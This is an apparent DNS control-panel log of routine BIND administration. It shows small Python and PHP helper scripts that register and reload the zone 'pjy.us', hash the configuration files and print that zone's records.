MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 92f57ba06267100feb52b7cbcddd8c20
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-31 11:35:51: 

PUT: /tmp/pkp237707

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-03-31 11:35:51: 

chmod 755 /tmp/pkp237707; /tmp/pkp237707; rm /tmp/pkp237707

2026-03-31 11:35:54: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-03-31 11:35:54: 

PUT: /tmp/pkp373773

#!/bin/bash
rndc reload pjy.us 2>&1


2026-03-31 11:35:55: 

chmod 755 /tmp/pkp373773; /tmp/pkp373773; rm /tmp/pkp373773

2026-03-31 11:35:55: 


zone reload up-to-date


2026-03-31 11:35:55: Establishing a connection
2026-03-31 11:35:55: 

PUT: /tmp/pkp739365

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-31 11:35:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp739365; rm /tmp/pkp739365'

2026-03-31 11:35:55: 
2026-03-31 11:35:55: 

PUT: /tmp/pkp252978

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-31 11:35:55: 

chmod 755 /tmp/pkp252978; /tmp/pkp252978; rm /tmp/pkp252978

2026-03-31 11:35:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2153
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 134991390 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"MYZhN4zxqGn4U1GOxIFv8doVTsa7o1OxWR4Cwp6dovM"
_acme-challenge           60	 IN    TXT      	"h_63sRi7wLv3VpyJT5ADDvMkuAXXgEHcxDFo_37yAhs"
mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive                    		 IN    CNAME    	home.stoughton.link.
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm                       		 IN    A        	46.102.156.201
eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                     		 IN    CNAME    	home.stoughton.link.
_acme-challenge.home      60	 IN    TXT      	"bRrZQ9sTYYin--ZqX6Nzib8yi276mLv4bQdTqFNny2I"
hub                       300	 IN    A        	94.177.8.99
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 811d821aa27415e28a1d8f5478c07514
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
